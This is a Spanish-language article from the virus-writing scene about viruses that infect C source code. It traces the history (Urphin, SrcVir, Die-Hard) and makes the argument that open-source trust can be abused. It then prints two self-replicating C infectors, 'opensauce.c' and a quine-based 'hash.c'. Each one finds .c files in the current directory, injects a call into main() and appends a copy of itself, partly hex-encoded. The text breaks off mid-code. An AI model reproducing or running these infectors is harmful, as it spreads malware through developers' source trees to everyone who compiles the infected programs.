Join us now and share the malware...
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

Reflexiones acerca de  la comunidad de  cdigo abierto y  del Software
Libre y su confianza ciega en la bondad del cdigo fuente.

por zert <zert@int80h.net>

0.- Abstract
1.- Introduccin
2.- Antecedentes
    2.1.- virus de DOS, Urphin
    2.2.- 1994, la familia de virus SrcVir y el virus Die-Hard
    2.3.- Infectores de bibliotecas de compilacin
    2.4.- Cualquier cdigo vrico en lenguajes de scripting
3.- Por qu infectar cdigo fuente?
4.- OK, pero... cmo?
    4.1.- Escenario tpico
    4.2.- Aproximacin mediante ensamblador embebido
    4.3.- Aproximacin mediante "quines"
    4.4.- Desarrollos futuros
5.- Conclusiones
6.- Enlaces de inters


0.- Abstract

En este artculo comentaremos las posibilidades de infeccin  mediante
ataques a ficheros de cdigo fuente, los antecedentes que ha habido en
la materia y los desarrollos futuros que puedan darse.

El  texto ser  acompaado de  ejemplos en  C a  modo de  "pruebas de
concepto"  de  los  detalles  explicados.  As  mismo,  se presentarn
tcnicas  de desarrollo  de virus  para cdigo  fuente mediante  otras
vas, desde  un punto  de vista  menos prctico  e indicando los pasos
generales para su programacin.


1.- Introduccin

Tal y como dice la letra de la clebre cancin del Software Libre [1],
actualmente mucha  gente se  esta sumando  al movimiento  del Software
Libre o a variantes con fines ms comerciales como el Open Source.  El
ttulo de  este artculo  quiere hacer  un guio  al estribillo de esa
cancin ("Join us now and share the software, you'll be free, hackers,
you'll be free..."), indicando la posibilidad de que esa capacidad  de
distribucin que ha tomado el  cdigo fuente en este tipo  de entornos
pueda ser utilizada para redistribuir cdigo vrico.

Muchos de nosotros estamos empezando  a desarrollar una fe casi  ciega
en los desarrolladores de programas  con cdigo abierto, ya que  si el
cdigo es visible, ser mucho ms difcil que nos engaen o que  hayan
introducido efectos no  deseados en esos  programas. Si nos  ponemos a
pensar, cuando  asistimos a  un espectculo  de magia,  muchos de  los
trucos necesitan de una cortina, mampara o algn elemento para ocultar
cmo se nos est  engaando, pero hay otros  trucos que nos los  hacen
directamente a la  cara, sin utilizar  nada ms que  las manos, y  an
as, caemos  y nos  los creemos.  Algo parecido  podra pasar  con los
programas de  cdigo abierto:  el cdigo  est ah  y "cualquiera"  lo
puede  ver y  auditar, sin  embargo, muy  pocos lo  hacen (quin  ha
auditado *todo* el cdigo fuente que est corriendo en sus  mquinas?)
y, adems, sera eventualmente posible  ofuscar el cdigo para que  su
comprensin  se  dificulte enormemente  y  poder introducir  elementos
ocultos y no deseados por el usuario en ese cdigo.

Los  virus  de  cdigo  fuente  nunca  han  sido  una  amenaza   real,
bsicamente  porque,  hasta  hace  bien  poco,  intercambiar programas
distribuyendo  el  cdigo fuente  era  algo muy  inusual  fuera de  un
ambiente  demasiado  geek. Los  virus  han tenido  su  hbitat natural
dentro de los programas ejecutables, tpicamente binarios, que se  han
distribuido de mano en mano durante  todos estos aos. A pesar de  que
las redes P2P han vuelto a relanzar el intercambio masivo de binarios,
parece ser que este enfoque  est yendo progresivamente a menos  y que
lo que se estila  ahora mismo es pensar  en una aproximacin del  tipo
virus + gusano,  que sea capaz  de utilizar diferentes  workstations o
servidores como vectores de infeccin.

Intercambiar programas  mediante el  cdigo fuente  ya no  es algo  de
freaks de la informtica. En el mundillo del Software Libre y del Open
Source es la manera ms comn de distribuir el cdigo. Normalmente  el
cdigo  es auditado,  por lo  menos por  el autor  del mismo,  aunque
existen muchos  mitos al  respecto [2].  Sin embargo,  se han  dado ya
varios casos  en los  que el  servidor FTP  oficial que  distribuye el
cdigo fuente de un programa [3] [4], y en dichas ocasiones el  cdigo
introducido fue muy obvio, pero podra haberse intentado un ataque ms
sutil.

No s si en el futuro  las redes P2P estarn plagadas de  tarballs con
el cdigo fuente  de un montn  de programas, o  si auditar el  cdigo
fuente ser una tarea automatizable (dnde surgira un nuevo campo  de
batalla entre auditores  y escritores de  malware), pero lo  que es un
hecho constatable a da de hoy es que el intercambio de cdigo  fuente
est en aumento, y, por ello, conviene analizar la plausibilidad de su
utilizacin como vector de infeccin.


2.- Antecedentes

Hasta la fecha han sido  pocos y tmidos los infectores  desarrollados
con el objetivo de infectar cdigo fuente. Las razones las acabamos de
comentar: el  cdigo fuente  no ha  sido un  buen vector  de infeccin
hasta  la  irrupcin  de  la "revolucin  del  cdigo  abierto"  en el
panorama del software actual.

2.1.- virus de DOS, Urphin

En la lejana poca de los virus  de DOS, el virus Urphin [5] ya  pens
en infectar cdigo fuente como mtodo de expansin. Su  comportamiento
no era nada  extrao: una vez  ejecutado permaneca residente  (31h de
int 21h) a la  espera de que se  ejecutase el programa TPC.EXE  (Turbo
Pascal Compiler) y era entonces cuando interceptaba los ficheros  .PAS
que contienen el cdigo fuente de los programas en Pascal.

Una vez  localizado el  fichero .PAS,  buscaba la  palabra BEGIN,  que
indica el  comienzo de  un bloque  de cdigo  en Pascal,  y aada  un
volcado hexadecimal de  su cdigo junto  con el cdigo  en Pascal para
ser ejecutado. Cuando el fichero  .PAS se cerraba, el virus  eliminaba
el cdigo  recin introducido,  con lo  que se  conseguan ejecutables
infectados  y  ficheros  .PAS limpios  despus  de  haber generado  el
ejecutable.

2.2.- 1994, la familia de virus SrcVir y el virus Die-Hard

En muchas  pginas en  las que  se comenta  la historia  de los  virus
informticos  [6]  se  hace  mencin a  la  familia  de  virus SrcVir,
aparecida en 1994 junto a una  oleada de nuevos virus con objetivos  y
comportamientos extraos hasta la  fecha. El objetivo de  esta familia
de virus era principalmente infectar ficheros de cdigo fuente en C  o
Pascal, de forma similar al comentado Urphin.

En ese mismo ao, fue programado y soltado in-the-wild otro virus  que
infectaba  cdigo  fuente, el  Die-Hard  [7]. Este  virus  es bastante
estndar  (infector  COM   y  EXE  para   DOS)  a  excepcin   de  una
caracterstica:  busca  ficheros  .ASM   y  .PAS,  cdigo  fuente   de
ensamblador y Pascal  respectivamente, para aadir  un volcado con  su
cdigo.

2.3.- Infectores de bibliotecas de compilacin

Existen virus que tienen como objetivo infectar los ficheros OBJ y LIB
[8]  para aadir  su cdigo  a mdulos  o libreras  que luego  sern
utilizadas para ser enlazadas con ejecutables. Los ficheros infectados
de esta manera funcionaran nicamente como "portadores", a la  espera
de que un ejecutable se enlace contra esos mdulos o libreras y pueda
seguir  extendiendo  el  virus. De  esta  manera,  los ejecutables  no
infectaran cdigo ejecutable como tal,  por lo que no hay  peligro de
autoinfeccin y no se debera contemplar en el cdigo del virus, y los
ficheros infectados son intiles hasta que su cdigo se incluye en  un
ejecutable, permaneciendo en un estado "latente" hasta entonces.

2.4.- Cualquier cdigo vrico en lenguajes de scripting

Como es  obvio, cualquier  virus que  est escrito  en un  lenguaje de
scripting  y  tenga  como objetivo  infectar  otros  scripts, ser  un
infector que copie su cdigo  fuente en el fichero "husped".  Existen
varias aproximaciones a este tipo de virus en Perl o Shell Script  [9]
[10], e incontables gusanos de Internet escritos en  VisualBasicScript
y otro tipo de lenguajes de scripting.


3.- Por qu infectar cdigo fuente?

Tal y como hemos comentado  con anterioridad, es posible que  este sea
un campo en expansin y varios factores as lo demuestran:

* El aumento del inters en Sistemas Operativos como GNU/Linux y  *BSD
genera una  comunidad de  usuarios cuyo  principal valor  es el cdigo
fuente y es utilizado como  moneda de cambio. Algunos de  estos nuevos
usuarios se alejan de  la antigua idea de  hacker de UNIX y  son menos
tcnicos (utilizando el ordenador como un electrodomstico).

* El  aumento del  inters de  los gobiernos  y entidades  pblicas en
utilizar software de  cdigo abierto, para  aumentar su seguridad.  El
software de fuente abierta no  es inherentemente ms seguro que  el de
cdigo cerrado si no se toman las medidas oportunas. Hay muchos  mitos
al respecto [2], adems de intentos por parte de Microsoft de  engaar
a los consumidores con medias verdades [13].

*  Algunos  programas  exigen ser  compilados  en  cada ordenador  por
separado, ya sea porque es cdigo libre que enlaza contra libreras  o
codecs propietarios, como porque  exista una diferencia abismal  entre
la  versin genrica  para i386,  y la  compilada en  el ordenador  en
cuestin. Este hecho  exige que haya  un entorno de  desarrollo en ms
ordenadores.  El ejemplo  paradigmtico de  este caso  es el  Mplayer,
multimedia player.


4.- OK, pero... cmo?

4.1.- Escenario tpico

Bob es un joven administrador  de redes y sistemas apasionado  por las
redes  wireless.  Sus   conocimientos  sobre  redes   telemticas  son
avanzados, pero no tiene ni idea  de programar ms all de unos  pocos
scripts de shell sencillos.

Una agradable  noche de  wardriving, mientras  l y  su compaero Dave
escuchan  Massive Attack  y corretean  por entre  los routers  de una
compaa local, Bob queda asombrado del fantstico programa que  tiene
Dave para escanear  redes inalmbricas. Ansioso,  le pide la  URL para
descargrselo sin ms dilacin: 

wget http://packetstormsecurify.nl/sniffers/wireless/wlanthrax-0.6.9.tar.gz
tar xzf wlanthrax-0.6.9.tar.gz
cd wlanthrax-0.6.9
./configure
make
make install

(nota: http://packetstormsecurify.nl no existe pero se podra  comprar
a un mdico  precio. Cualquier parecido  con la coincidencia,  es pura
realidad)

Yeah! El programa funcionando y las redes rindindose a sus pies, qu
adrenalina! como en los viejos tiempos!  Lo que no sabe el pobre  Bob
es que ese tarball contena malware y ahora lo tiene corriendo por las
venas digitales de su porttil.

A Bob ya le haba pasado esto antes, y desde entonces nunca hace  esto
como root. Obviamente el "make install" no funcionara como un usuario
normal, pero la herramienta seguira siendo ejecutable y vlida. Chico
listo, pero an  desde un usuario  normal podramos intentar  infectar
todo el cdigo fuente al que pudisemos acceder con esos  privilegios,
que no tiene por qu ser poco.

Os parece inverosmil esta situacin? Cuntas veces hemos hecho  tar
xzf && ./configure  && make &&  make install ciegamente?  Yo reconozco
que unas cuantas veces O;-D

4.2.- Aproximacin mediante ensamblador embebido

Todo programador  de virus  conoce herramientas  de ingeniera inversa
que proporcionan desensamblados de  mucha calidad. As rpidamente  me
vienen a la memoria  el IDA disassembler o  incluso el propio modo  de
desensamblado del HIEW. El  port para UNIX del  HIEW, el BIEW (que  en
realidad  es  el  "hermano  pequeo"  de  aquel)  tambin  soporta  el
desensamblado  y  podemos ver  de  forma cmoda  el  cdigo fuente  en
ensamblador de casi cualquier programa.

Un  enfoque  de  ASM  inline  para  infectar  ficheros  fuente debera
implementar un  pequeo desensamblador  del propio  cdigo, para poder
incluirlo en el cdigo  fuente. Si  tomamos como  referencia el codigo
fuente   en  C   utilizado  en   GNU/Linux,  deberamos   generar  un
desensamblador para nuestro cdigo con  la sintaxis AT&T e incluir  en
una funcin ese cdigo:

int virus()
{
  __asm__(
  	"pusha\n\t"
	"call 0x8048086\n\t"
	[...]
	"mov $0x1,%%eax\n\t"
	"int $0x80"
  );
}

Para obtener ese desensamblado podemos  hacer uso de la filosofa  del
Software Libre y conseguir el cdigo que lo realiza en el BIEW o en el
objdump.  El  fallo  de  esta  manera  de  hacerlo  reside  en  que el
desensamblador ocupara  una porcin  muy considerable  del cdigo  de
nuestro virus, por lo que podra intentarse el uso de las herramientas
comentadas  directamente.  Si  nuestro  objetivo  es  infectar  cdigo
fuente, podemos hacer la presuncin  de que el ordenador infectado  es
un  ordenador  de  desarrollo  que  puede  tener  instaladas   ciertas
herramientas. Mediante  la syscall  execve en  UNIX podramos ejecutar
una de esas herramientas y generar el listado en un proceso hijo.  Una
versin optimizada de todo esto podra comprobar si existen algunas de
las herramientas ms comunes que puedan realizar este trabajo.

Pros:

* No hay  que comerse demasiado  la cabeza, est  casi todo hecho  ya,
slo hay que juntar las piezas ;-)

* Seguimos programando en ensamblador, controlando cada detalle.

Contras:

* No es precisamente "discreto".

* Al ser ensamblador, perdemos el carcter multiplataforma inherente a
la mayora del cdigo fuente.

*  El  proceso  de  desensamblado  puede  ser  demasiado  engorroso en
ocasiones.

4.3.- Aproximacin mediante "quines"

Un "quine"  es un  programa que  genera su  propio cdigo fuente *sin*
leerse  a  s  mismo.  Se  han  hecho  concursos  internacionales   de
programacin de estos curiosos programitas, todos ellos en un ambiente
ultra-freak, claro est. 

Existen varias maneras de hacer quines, alguna muy enrevesadas y otras
muy  elegantes,  pero la  forma  ms funcional  a  mi modo  de  ver es
utilizando arrays de  caracteres. De hecho,  me qued muy  sorprendido
despus de  hacer mi  primer quine,  porque cuando  vi el  resto haba
muchos muy diferentes, pero el que hizo Ken Thompson era prcticamente
igual, aunque un poco menos enrevesado: la idea principal es tener  el
cdigo fuente en un array de chars para poder hacer lo siguiente:

printf("char array[] = \"%s\";" array);

Con lo que rompemos el crculo vicioso que proponen los quines  cuando
quieres   sacar   por   pantalla   tu   propio   cdigo   (si    haces
printf("printf(\"printf(\"... no parece ser un buen enfoque ;-D).

Un tiempo ms tarde descubr una autntica joya de la informtica [11]
cuando  v  el  problema   que  planteaba  Thompson  en   su  ponencia
"Reflections  on   Trusting  Trust"   al  ganar   el  ACM   Award.  Es
impresionante entender las implicaciones de ese texto, y sorprende ver
a un  autntico gur  como Ken  Thompson hablando  como un escritor de
malware };-) Actualmente el tema que se plantea no tiene una  solucin
muy  clara  y  parece  ser  un  quebradero  de  cabeza  sin soluciones
sencillas [12].

Bien, centrndonos  en el  tema vemos  cmo es  necesario un  array de
chars que contenga el cdigo del programa. Es aqu donde pueden surgir
las mayores diferencias.  Thompson cre su  array separando uno  a uno
los chars de la siguiente forma:

char s[] = {
        '\t',
        '0',
        '\n',
        '}',
        ';',
        '\n',
        '\n',
        'm',
        'a',
        'i',
        'n',
        '(',
        ')',
        '\n',

        ...

        0 };
        
En mi enfoque  inicial vi que  esto a parte  de ser extrao  resultaba
demasiado obvio, es decir, se  ve claramente como el contenido  de ese
array  es cdigo  fuente en  C. Por  ello utilic  otra notacin  para
guardar cada uno de los chars:

char s[] = {
0x6D, 0x61, 0x69, 0x6E, 0x28, 0x29, 0x20, 0x7B,
0x0D, 0x0A, 0x69, 0x6E, 0x74, 0x20, 0x69, 0x3B,
0x0D, 0x0A, 0x09, 0x70, 0x72, 0x69, 0x6E, 0x74,
0x66, 0x28, 0x22, 0x63, 0x68, 0x61, 0x72, 0x20,

...

0 };

El primer objetivo estaba cumplido, eso no parece cdigo fuente C a ojos de alguien poco familiarizado con la tabla ASCII. Sin embargo esta manera de definir el array aumentaba mucho el tamao del mismo con respecto a un array en el que todos los chars estuviesen seguidos (no como en el primer ejemplo), por lo que haba que pensar una manera de reducirlo. Lo primero que se me ocurri para ello fue pensar en duplicar el espacio en el ejecutable, pero reducir a la mitad el espacio en el cdigo fuente, creando un array as:

char s[] = "6D61696E2829207B0D0A69...";

De esta manera estoy utilizando mucho menos espacio en el fuente C. La contrapartida es que ahora utilizo 2 bytes para representar cada char dentro de mi array (qu desastre!). Para poder sacar por pantalla o escribir mi array ya no me vale con printf(), sino que tengo que hacer algo parecido a esto:

int i;
char nibblechar, nibble[2];

for(i=0;i<strlen(s);i+=2) {
	nibble[0] = s[i];
	nibble[1] = s[i+1];
 	sscanf(nibble,"%02X",&nibblechar);
        printf("%c", nibblechar);
}

Bastante chapucero, pero funciona O:-)

Otra cosa que tenemos que tener  en cuenta es que nuestro objetivo  ya
no es sacar por pantalla nuestro propio cdigo, sino insertarlo dentro
de  un  programa  en  C   y  que  el  programa  pueda   ser  compilado
correctamente. Por ello, en el siguiente ejemplo he dividido el  array
inicial en otros tres arrays:  uno para los includes y  la declaracin
de la funcin virus(), otro para  la primera parte de dicha funcin  y
el otro para el final de la funcin virus(). Veamos todo esto:

<--------------------------------------------------------------------------->
<-opensauce.c--------------------------------------------------------------->
<--------------------------------------------------------------------------->

/*
 * OpenSauce
 *
 * A trial to infect source code
 *                   zert <zert@int80h.net>
 *
 */

#include <stdio.h>
#include <stdlib.h>
#include <sys/stat.h>
#include <unistd.h>
#include <fcntl.h>
#include <time.h>
#include <dirent.h>
#include <elf.h>
#include <sys/types.h>
#include <sys/wait.h>

void virus();

int main(int argc, char *argv[]) {
  virus();
}

void virus() {
  int i, hd, fd, readbyte, writebyte, posmain, posbuffer;
  DIR *dd;
  struct dirent *dirp;
  char nibble[2], nibblechar, *readbuffer, *writebuffer,
       *readmain, *writemain, *bufname, *buffer;
  char charinclude[] = "23696e636c756465203c737464696f2e683e0a23696e636c756465203c7374646c69622e683e0a23696e636c756465203c7379732f737461742e683e0a23696e636c756465203c756e697374642e683e0a23696e636c756465203c66636e746c2e683e0a23696e636c756465203c74696d652e683e0a23696e636c756465203c646972656e742e683e0a23696e636c756465203c656c662e683e0a23696e636c756465203c7379732f74797065732e683e0a23696e636c756465203c7379732f776169742e683e0a0a766f696420766972757328293b0a0a";
  char charvirus[] = "0a766f69642076697275732829207b0a2020696e7420692c2068642c2066642c2072656164627974652c207772697465627974652c20706f736d61696e2c20706f736275666665723b0a2020444952202a64643b0a202073747275637420646972656e74202a646972703b0a202063686172206e6962626c655b325d2c206e6962626c65636861722c202a726561646275666665722c202a77726974656275666665722c200a202020202020202a726561646d61696e2c202a77726974656d61696e2c202a6275666e616d652c202a6275666665723b0a";
  char charvirusend[] = "0a20206464203d206f70656e64697228222e22293b0a20207768696c65282864697270203d207265616464697228646429293e3029200a202020206966282868643d6f70656e28646972702d3e645f6e616d652c204f5f524457522c203029293e3d3029207b0a ... ";

  /* scan for hosts in current dir */
  dd = opendir(".");
  while((dirp = readdir(dd))>0)
      if((fd=open(dirp->d_name, O_RDWR, 0))>=0) {
        /* is a C source file? */
        if(!(strcmp(dirp->d_name+strlen(dirp->d_name)-2,".c"))||
           !(strcmp(dirp->d_name+strlen(dirp->d_name)-2,".C"))) {
          /* searching infection mark... */
          lseek(fd, -30, SEEK_END);
          bufname = (char *)malloc(30);
          readbyte = read(fd, bufname,30);
          if((strstr(bufname, "/* sauce! */")<=0)) {
            /* infection mark not found */
            /* searching main() function... */
            lseek(fd, 0, SEEK_SET);
            posmain = posbuffer = 0;
            buffer = (char *)malloc(1024);
            while((readbyte=read(fd,buffer,1024))>0) {
              if( ((posbuffer=(int)strstr(buffer,"\nmain("))>0) ||
                ((posbuffer=(int)strstr(buffer,"\nint main("))>0) ||
                ((posbuffer=(int)strstr(buffer,"\nvoid main("))>0) ||
                ((posbuffer=(int)strstr(buffer,"\nmain ("))>0) ||
                ((posbuffer=(int)strstr(buffer,"\nint main ("))>0) ||
                ((posbuffer=(int)strstr(buffer,"\nvoid main ("))>0) ) {
                break;
              }
              posmain += readbyte;
            }
            if(posbuffer>0) {
              posmain += ((int)posbuffer-(int)buffer);
              lseek(fd, posmain, SEEK_SET);
              read(fd, buffer, 80);
              if((posbuffer = (int)strstr(buffer,"{\n"))>0)
                posmain += 2 + ((int)posbuffer-(int)buffer);
              else
                posmain = -1;
            } else posmain = -1;
            if(posmain>0) {
              /* let's infect! */
              lseek(fd, 0, SEEK_SET);
              writebyte = strlen(charinclude) / 2;
              readbuffer = (char *)malloc(writebyte);
              writebuffer = (char *)malloc(writebyte);
              writebuffer = (char *)malloc(writebyte);
              for(i=0;i<strlen(charinclude);i+=2) {
                nibble[0] = charinclude[i];
                nibble[1] = charinclude[i+1];
                sscanf(nibble, "%02X", &nibblechar);
                strncat(writebuffer, &nibblechar, 1);
              }
              while((readbyte=read(fd,readbuffer,writebyte))>0) {
                lseek(fd, -readbyte, SEEK_CUR);
                write(fd, writebuffer, writebyte);
                writebyte = read(fd, writebuffer, writebyte);
                lseek(fd, -writebyte, SEEK_CUR);
                write(fd, readbuffer, readbyte);
              }
              lseek(fd,-readbyte,SEEK_CUR);
              write(fd,writebuffer,writebyte);
              /* call virus from main() */
              writebyte = strlen(charinclude) / 2;
              lseek(fd, posmain+writebyte, SEEK_SET);
              writebyte = strlen("\n  virus();\n");
              readmain = (char *)malloc(writebyte);
              writemain = (char *)malloc(writebyte);
              strcpy(writemain,"\n  virus();\n");
              while((readbyte=read(fd,readmain,writebyte))>0) {
                lseek(fd,-readbyte,SEEK_CUR);
                write(fd,writemain,writebyte);
                writebyte=read(fd,writemain,writebyte);
                lseek(fd,-writebyte,SEEK_CUR);
                write(fd,readmain,readbyte);
              }
              lseek(fd,-readbyte,SEEK_CUR);
              write(fd,writemain,writebyte);
              /* copy virus function at EOF */
              lseek(fd, 0, SEEK_END);
              for(i=0;i<strlen(charvirus);i+=2) {
                nibble[0] = charvirus[i];
                nibble[1] = charvirus[i+1];
                sscanf(nibble,"%02X",&nibblechar);
                write(fd, &nibblechar, 1);
              }
              write(fd, "\n  char charinclude[] = \"", strlen("\n  char charinclude[] = \""));
              write(fd, charinclude, strlen(charinclude));
              write(fd, "\";\n  char charvirus[] = \"", strlen("\";\n  char charvirus[] = \""));
              write(fd, charvirus, strlen(charvirus));
              write(fd, "\";\n  char charvirusend[] = \"", strlen("\";\n  char charvirusend[] = \""));
              write(fd, charvirusend, strlen(charvirusend));
              write(fd, "\";\n", strlen("\";\n"));
              lseek(fd, 0, SEEK_END);
              for(i=0;i<strlen(charvirusend);i+=2) {
                nibble[0] = charvirusend[i];
                nibble[1] = charvirusend[i+1];
                sscanf(nibble,"%02X",&nibblechar);
                write(fd, &nibblechar, 1);
              }
              /* that's all folks! */
              /* just 1 infection each time */
              exit(0);
              close(fd);
            }
          }
      }
      close(fd);
    }
  closedir(dd);
  /* sauce! */
}
<--------------------------------------------------------------------------->
<-end of opensauce.c-------------------------------------------------------->
<--------------------------------------------------------------------------->

El  cdigo no  es un  prodigio de  la programacin,  pero sirve  para
ensear lo que os quera explicar y adems funciona (ms o menos).  En
el  array  "charvirusend"  se  han  suprimido  muchas  lneas  para no
engordar innecesariamente este texto (si deseis una versin funcional
del cdigo, mirad en la e-zine 29a #7). El resto de cdigo es bastante
trivial: 

1) Buscar ficheros  en el directorio  actual: abrir el  directorio con
opendir(),  ir  leyendo  cada  una de  sus  entradas  con  readdir() y
cerrarlo con closedir().

2) Una vez que tenemos una posible vctima, comprobamos si se trata de
un fichero ".c"  ".C", de ser as comprobamos si ya ha sido infectado
(contiene la marca "/* sauce */") y si es un fuente C en el que existe
una funcin main().

3)  Si se  ha cumplido  todo lo  especificado en  el punto  anterior,
procedemos a infectar,  copiando los includes  y la declaracin  de la
funcin virus()  al principio  (charinclude), aadiendo  una llamada a
dicha funcin  dentro de  main(), y  generando al  final del cdigo la
funcin  virus()  (mediante  el uso  de  "charvirus"  y "charvirusend"
adems de unas cuantas llamadas a write() para definir los arrays).

4)  Una  vez  terminada  la  infeccin,  se  cierra  el  fichero  y el
directorio, porque slo se infecta un fichero cada vez.

5) Se  termina la  funcin virus(),  por lo  que se  regresa al cdigo
original y todo funciona como debera funcionar.

Veamos otro ejemplo de este tipo de virus, algo ms evolucionado:


<--------------------------------------------------------------------------->
<-hash.c-------------------------------------------------------------------->
<--------------------------------------------------------------------------->

/*
 * Hash,
 *
 * quine-based source code infector.
 *                   zert <zert@int80h.net>
 *
 */

#include <stdio.h>
#include <sys/stat.h>
#include <sys/mman.h>
#include <unistd.h>
#include <dirent.h>
#include <fcntl.h>

void init_hash(); 

int main(int argc, char *argv[])
{
	init_hash();
}

void init_hash()
{
	int i, j, fd, size, mpos, ipos, page, 
	ihole, thole, bhole, ehole; struct dirent *dir; DIR *d;
	void *ptr;
	char hashinc[] = "\n#include <stdio.h>\n#include <sys/stat.h>\n#include <sys/mman.h>\n#include <unistd.h>\n#include <dirent.h>\n#include <fcntl.h>\n\nvoid init_hash();\n";
	char hashbeg[] = "\nvoid init_hash()\n{\n\tint i, j, fd, size, mpos, ipos, page, \n\tihole, thole, bhole, ehole; struct dirent *dir; DIR *d;\n\tvoid *ptr;\n\tchar hashinc[] = \"";
	char hashend[] = "\tchar *buf;\n\n\td = opendir(\".\");\n\twhile((dir = readdir(d))>0)\n\t\tif(!(strcmp(dir->d_name+strlen(dir->d_name)-2,\".c\"))||\n\t\t   !(strcmp(dir->d_name+strlen(dir->d_name)-2,\".C\"))) \n\t\t\tif((fd=open(dir->d_name, O_RDWR, 0))>=0)\n\t\t\t{\n\t\t\t\tsize = lseek(fd, 0, SEEK_END);\n\t\t\t\tptr = mmap(NULL,size,PROT_READ,MAP_PRIVATE,fd,0);\n\t\t\t\tif( (!strstr(ptr,\"init_hash\")) &&\n\t\t\t\t  ( ((mpos=(int)strstr(ptr,\"\\nmain(\"))>0) ||\n\t\t\t\t    ((mpos=(int)strstr(ptr,\"\\nint main(\"))>0) ||\n\t\t\t\t    ((mpos=(int)strstr(ptr,\"\\nvoid main(\"))>0) || \n\t\t\t\t    ((mpos=(int)strstr(ptr,\"\\nmain (\"))>0) ||\n\t\t\t\t    ((mpos=(int)strstr(ptr,\"\\nint main (\"))>0) ||\n\t\t\t\t    ((mpos=(int)strstr(ptr,\"\\nvoid main (\"))>0) ) )\n\t\t\t\t{\n\t\t\t\t\tmpos = (int)strstr((void *)mpos, \";\\n\");\n\t\t\t\t\tmpos -= (int)--ptr;\n\t\t\t\t\tif( !(ipos = (int)strstr(++ptr, \"#include <\")) )\n\t\t\t\t\t{\n\t\t\t\t\t\tmunmap(ptr, size);\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\t\t\t\t\tmunmap(ptr, size);\n\t\t\t\t\tpage = 3 * (int)sysconf(_SC_PAGESIZE);\n\t\t\t\t\tftruncate(fd, size+page);\n\t\t\t\t\tptr = mmap(NULL,size+page,PROT_READ+PROT_WRITE,MAP_SHARED,fd,0);\n\t\t\t\t\tipos = (int)strstr(ptr, \"#include <\");\n\t\t\t\t\tipos = (int)strstr((void *)ipos, \"\\n\\n\");\n\t\t\t\t\tipos -= (int)ptr;\n\t\t\t\t\tihole = strlen(hashinc);\n\t\t\t\t\tfor(i=(size-ipos)/ihole;i>=0;i--) \n\t\t\t\t\t\tmemcpy(ptr+ipos+i*ihole+ihole, ptr+ipos+i*ihole, ihole);\n\t\t\t\t\tmemcpy(ptr+ipos, hashinc, ihole);\n\t\t\t\t\tmpos += ihole;\n\t\t\t\t\tbuf = (char *)malloc(20*sizeof(char));\n\t\t\t\t\tstrcpy(buf,\"\\n\\tinit_hash();\");\n\t\t\t\t\tthole = strlen(buf);\n\t\t\t\t\tfor(i=(size+ihole-mpos)/thole;i>=0;i--) \n\t\t\t\t\t\tmemcpy(ptr+mpos+i*thole+thole, ptr+mpos+i*thole, thole);\n\t\t\t\t\tmemcpy(ptr+mpos, buf, thole);\n\t\t\t\t\tbhole = strlen(hashbeg);\n\t\t\t\t\tmemcpy(ptr+size+ihole+thole, hashbeg, bhole);\n\t\t\t\t\tbuf = (char *)malloc(100*sizeof(char)+strlen(hashinc));\n\t\t\t\t\tfor(i=0,j=0;i<strlen(hashinc);i++,j++)\n\t\t\t\t\t\tswitch(hashinc[i])\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tcase '\\n':\n\t\t\t\t\t\t\t\tsprintf(buf+j, \"\\\\n\");\n\t\t\t\t\t\t\t\tj++;\n\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\tcase '\\t':\n\t\t\t\t\t\t\t\tsprintf(buf+j, \"\\\\t\");\n\t\t\t\t\t\t\t\tj++;\n\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\tcase '\\\\':\n\t\t\t\t\t\t\t\tsprintf(buf+j, \"\\\\\\\\\");\n\t\t\t\t\t\t\t\tj++;\n\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\tcase '\\\"':\n\t\t\t\t\t\t\t\tsprintf(buf+j, \"\\\\\\\"\");\n\t\t\t\t\t\t\t\tj++;\n\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\tdefault:\n\t\t\t\t\t\t\t\tsprintf(buf+j, \"%c\", hashinc[i]);\n\t\t\t\t\t\t} \n\t\t\t\t\tmemcpy(ptr+size+ihole+thole+bhole, buf, strlen(buf));\n\t\t\t\t\tbhole += strlen(buf);\n\t\t\t\t\tsprintf(ptr+size+ihole+thole+bhole, \"\\\";\\n\\tchar hashbeg[] =\\\"\");\n\t\t\t\t\tbhole += 21;\n\t\t\t\t\tbuf = (char *)malloc(100*sizeof(char)+strlen(hashbeg));\n\t\t\t\t\tfor(i=0,j=0;i<strlen(hashbeg);i++,j++)\n\t\t\t\t\t\tswitch(hashbeg[i])\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tcase '\\n':\n\t\t\t\t\t\t\t\tsprintf(buf+j, \"\\\\n\");\n\t\t\t\t\t\t\t\tj++;\n\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\tcase '\\t':\n\t\t\t\t\t\t\t\tsprintf(buf+j, \"\\\\t\");\n\t\t\t\t\t\t\t\tj++;\n\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\tcase '\\\\':\n\t\t\t\t\t\t\t\tsprintf(buf+j, \"\\\\\\\\\");\n\t\t\t\t\t\t\t\tj++;\n\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\tcase '\\\"':\n\t\t\t\t\t\t\t\tsprintf(buf+j, \"\\\\\\\"\");\n\t\t\t\t\t\t\t\tj++;\n\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\tdefault:\n\t\t\t\t\t\t\t\tsprintf(buf+j, \"%c\", hashbeg[i]);\n\t\t\t\t\t\t} \n\t\t\t\t\tmemcpy(ptr+size+ihole+thole+bhole, buf, strlen(buf));\n\t\t\t\t\tbhole += strlen(buf);\n\t\t\t\t\tsprintf(ptr+size+ihole+thole+bhole, \"\\\";\\n\\tchar hashend[] =\\\"\");\n\t\t\t\t\tbhole += 21;\n\t\t\t\t\tbuf = (char *)malloc(100*sizeof(char)+strlen(hashend));\n\t\t\t\t\tfor(i=0,j=0;i<strlen(hashend);i++,j++)\n\t\t\t\t\t\tswitch(hashend[i])\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tcase '\\n':\n\t\t\t\t\t\t\t\tsprintf(buf+j, \"\\\\n\");\n\t\t\t\t\t\t\t\tj++;\n\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\tcase 